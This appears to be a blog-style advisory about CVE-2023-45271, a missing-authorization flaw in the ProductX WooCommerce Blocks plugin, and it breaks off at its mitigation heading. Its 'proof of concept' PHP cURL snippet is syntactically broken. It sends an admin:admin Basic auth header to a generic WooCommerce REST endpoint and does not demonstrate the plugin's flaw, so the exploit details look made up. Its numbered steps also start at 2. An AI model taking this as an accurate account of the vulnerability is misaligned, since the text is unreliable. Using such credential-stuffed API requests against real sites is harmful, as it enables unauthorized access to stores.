Well, buckle up because a recent vulnerability, identified as CVE-2023-45271, has been discovered in the plugin, which allows attackers to exploit and tamper with access control security levels.

If you are using the versions of ProductX – Gutenberg WooCommerce Blocks from n/a through 2.7.8, it's high time you read this blog post. We will take a deep dive into this critical security flaw, analyze how it may impact your website, and provide appropriate mitigation steps.

Vulnerability Description

The vulnerability is categorized as a "Missing Authorization" issue, which means attackers can elevate their privileges by exploiting the incorrectly configured access control settings. An attacker with lower permissions can potentially modify sensitive data, enable/disable certain functionalities, and even rewrite URLs to their benefit.

Affected Versions

ProductX – Gutenberg WooCommerce Blocks versions from n/a through 2.7.8 are affected by this vulnerability.

Exploit Details

As a proof of concept, let's take a look at code snippets that showcases the exploit.

Exploit Code Snippet

<?php
$curl = curl_init();
curl_setopt_array($curl, array(
  CURLOPT_URL => "https://targetwebsite.com/wp-json/wc/v3/products?_fields=id,name,status";,
  CURLOPT_RETURNTRANSFER => true,
  CURLOPT_ENCODING => "",
  CURLOPT_MAXREDIRS => 10,
  CURLOPT_TIMEOUT => ,
  CURLOPT_FOLLOWLOCATION => true,
  CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
  CURLOPT_CUSTOMREQUEST => "GET",
  CURLOPT_HTTPHEADER => array(
    "Authorization: Basic YWRtaW46YWRtaW4=" // Base64 encoded GENERIC_USERNAME:GENERIC_PASSWORD
  ),
));

$response = curl_exec($curl);
curl_close($curl);
echo $response;
?>

This exploit uses the cURL library in PHP to make API requests to the targeted website.

2. The attacker specifies the target website URL and the relevant API endpoint path ("/wp-json/wc/v3/products?_fields=id,name,status").
3. The attacker uses the "Authorization: Basic" header to bypass the access control mechanism by sending a generic username and password pair encoded in Base64 format.

By leveraging this exploit, an unauthorized user could potentially gain access to sensitive product details and modify them without requiring any specific privileges.

Mitigation Steps

To address the CVE-2023-45271 vulnerability in ProductX – Gutenberg WooCommerce Blocks, the WowStore team has released updated version 2.7.9, which contains essential fixes and security improvements. The following are the recommended actions for e-commerce site owners:
